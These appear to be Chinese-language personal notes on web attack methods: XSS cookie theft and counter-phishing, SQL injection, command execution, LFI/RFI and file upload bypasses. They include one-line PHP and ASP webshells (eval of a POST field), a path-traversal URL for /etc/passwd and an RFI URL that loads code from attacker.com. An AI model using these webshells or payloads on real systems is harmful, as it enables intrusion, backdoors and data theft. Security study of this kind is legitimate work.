1.XSS
开始之前解释一下钓鱼: 诱使受害者输入自己的账号和密码信息,点击登录后域名跳转到真正的官网,然后受害者再输一遍账号和密码
攻击思路:
- XSS盲打: 如果目标网站存在 XSS 的话且没有 httponly 防御 cookie 那么就可以直接盲打 XSS。首先准备一个 XSS 靶场,生成XSS payload然后在其他人的钓鱼网站登录后面加上XSS payload,可以实现钓鱼反被钓的操作.在XSS靶场得到cookie
- SET钓鱼: 假设目标网站存在 httppnly 的话,我们拿到的 cookie 信息也是不完整的,所以我们可以使用 Kali Linux 里面的 set 社工工程学工具包来进行钓鱼,创建一个假的网站,生成XSS payload,跳转到假网站,这样钓鱼哥输入我们给他的账号密码,自己就会被反钓鱼.
2.SQL注入 (油尽灯枯的时候可以试试)
原理: web应用 传递sql语句到 后台数据库
总体思路: 找到 防御薄弱的边缘资产 进行 恶意sql语句 传递给数据库, 获得敏感数据 ,甚至 获得对方数据库访问权限 .
以下这些情况可能会想到使用sql注入
- 看到一个应用程序在构建SQL语句时直接使用了用户的输入数据 [说明没有过滤sql危险的语句]
- 一个网站在处理数据库请求失败时返回详细的错误信息 [根据详细的信息,可以使sql注入有线索]
- 边缘资产可能安全措施相对弱一些,sql注入有概率成功 [这就是信息搜集边缘资产的作用]
- 修改敏感数据的功能(如更改密码、转账等)不需要额外的身份验证或者权限检查 [sql注入点]
- 一些页面[登录页面,搜索页面等,可能存在sql注入]
攻击思路:
- 判断注入点: GET,POST,COOKIE,REFERER,XFF,UA等位置插入注入语句,看看是否产生影响,如果产生则说明该位置为注入点
- 绕过认证: 成功注入进去,如果没有则根据错误信息进一步深入直到成功
- 枚举数据库类型: 注入成功,开始查询数据库版本、表名、列名等。例如,使用 UNION SELECT 查询来枚举数据
- 数据提取: 获取了足够的信息之后,攻击者可以开始从数据库中提取数据。这可以通过构造更复杂的SQL查询来实现,例如通过 UNION SELECT 或 OUTER JOIN 来获取敏感信息
- 修改/删除数据: 如果权限足够,攻击者不仅能够读取数据,还可以修改或删除数据。例如,更改管理员密码,或者删除某些记录。
- 利用高级的sql注入方法: 高级的攻击者可能还会利用如盲注(Blind SQL Injection)、错误利用(Error-based SQL Injection)等技术来进一步隐藏其活动或绕过防御措施。
- 持久化: 一旦获得了对数据库的访问权限,攻击者可能会尝试创建持久性的访问方式,以便在未来继续访问系统。
3.命令执行漏洞(要求熟悉操作系统指令)
原理: 攻击者写恶意系统命令到 应用程序中
本人只会在 URL上命令执行
所以我的总体思路是: 找到 防御薄弱的边缘资产 进行 恶意命令 传递给目标应用程序, 获得敏感数据 ,或者通过应用程序执行远程服务器的任意命令 甚至获得对方服务器权限
往下延伸
远程命令执行(RCE):
原理: 攻击者写恶意系统命令 使目标应用程序执行远程服务器上的任意命令,完全接管服务器
本地命令执行:
原理: 攻击者在受影响的应用程序上执行本地系统命令,导致攻击者获取敏感信息,修改系统配置或者执行其他恶意操作
Shell命令执行:
原理:攻击者通过注入恶意命令到受影响应用程序的命令行或者SHELL环境
提取攻击:
原理:通过执行恶意命令,攻击者可以利用漏洞提升其在系统中的权限,从而获取更大的访问权限。
攻击思路:
(1)发现漏洞: 攻击者通常会寻找应用程序中的功能点,这些功能点允许用户提交数据,并且这些数据可能被用来执行系统命令。例如,搜索功能、文件上传功能等。
(2)测试环境: 利用已知的漏洞模式来测试应用程序是否容易受到命令执行攻击。例如,在命令行参数中加入特殊字符(如 ;, &, |)来查看应用程序的行为。
(3)命令注入: 当确认存在漏洞后,攻击者会尝试注入简单的命令来测试执行环境,比如 whoami, id, ls, dir 等,以获取关于系统的更多信息。
(4)提升权限: 如果初始命令执行成功,攻击者可能会尝试进一步的命令来提升其权限,例如通过利用系统配置文件中的漏洞或利用其他已知的漏洞。
(5)远程控制: 成功提升权限后,攻击者可能会安装后门程序或其他恶意软件,从而获得对系统的持续控制权。
(6)数据窃取: 持有系统控制权后,攻击者可以执行任意命令来窃取敏感信息,如数据库凭证、加密密钥、源代码等。
(7)横向移动: 在控制了一个主机后,攻击者可能会通过网络进一步渗透到其他相连的系统,扩大其控制范围。
4.文件包含漏洞(学会伪协议和命令执行)
本地文件包含(LFI)
原理: 攻击者能够包含并执行服务器上的本地文件。
攻击思路:
(1)构造恶意请求: 攻击者通过修改URL参数、Cookie等输入方式,将恶意文件名传递给Web应用程序。
(2)目录遍历: 利用../等特殊字符,攻击者可以遍历服务器上的目录结构,访问并包含敏感文件,如配置文件、数据库文件等。
(3)执行恶意代码: 如果服务器配置不当,攻击者甚至可以包含并执行恶意代码文件,如PHP Shell等。
示例:假设一个Web应用程序存在LFI漏洞,攻击者可以通过构造URL http://example.com/page.php?file=../etc/passwd 来读取/etc/passwd文件
远程文件包含(RFI)
原理: 攻击者能够包含并执行远程服务器上的文件,这通常要求目标服务器配置了allow_url_include=On。
攻击思路:
(1)构造恶意URL:攻击者构造一个包含恶意代码的远程文件URL。
(2)包含远程文件:通过修改Web应用程序的输入参数,将远程文件的URL传递给include或require等函数。
(3)执行远程代码:如果目标服务器允许远程文件包含,并且未对远程文件的内容进行验证,那么远程文件中的恶意代码将被执行。
例子:构造URL http://example.com/page.php?file=http://attacker.com/malicious.php,如果目标服务器允许远程文件包含,那么malicious.php中的恶意代码将被执行。
5.文件上传漏洞
一句话木马:
PHP:<?php @eval($_POST[‘yuanshen’]);?>
ASP: <%eval request(“yuanshen”)%>
asp闭合:"%><%eval request("yuanshen")%><%'
总体思路: 攻击者通过文件上传按钮上传 木马 到 后台
攻击思路:
(1)文件扩展名欺骗:攻击者可能会更改文件扩展名,使其看起来像一个安全的文件类型(例如图片)。当服务器仅依赖于文件扩展名来判断文件类型时,就可能允许上传并执行恶意脚本。
(2)MIME类型欺骗:类似于文件扩展名欺骗,攻击者也可以修改HTTP请求中的Content-Type头,使服务器误认为上传的是安全类型的文件。
(3)文件路径遍历:通过构造特殊的文件路径(如../../../../etc/passwd),攻击者尝试绕过上传脚本的限制,将文件保存到非预期的位置,甚至覆盖重要的系统文件。
(4)大小限制绕过:如果应用程序没有正确检查文件大小,攻击者可以上传过大文件,消耗服务器资源或突破存储限制。
(5)利用服务器配置漏洞:如果服务器配置不当,上传的文件可能会被解释为可执行的脚本或程序,从而导致远程代码执行的风险。
(6)后门文件上传:攻击者上传看似无害但实际上包含后门的文件,等待时机成熟后再利用这些后门进一步渗透系统。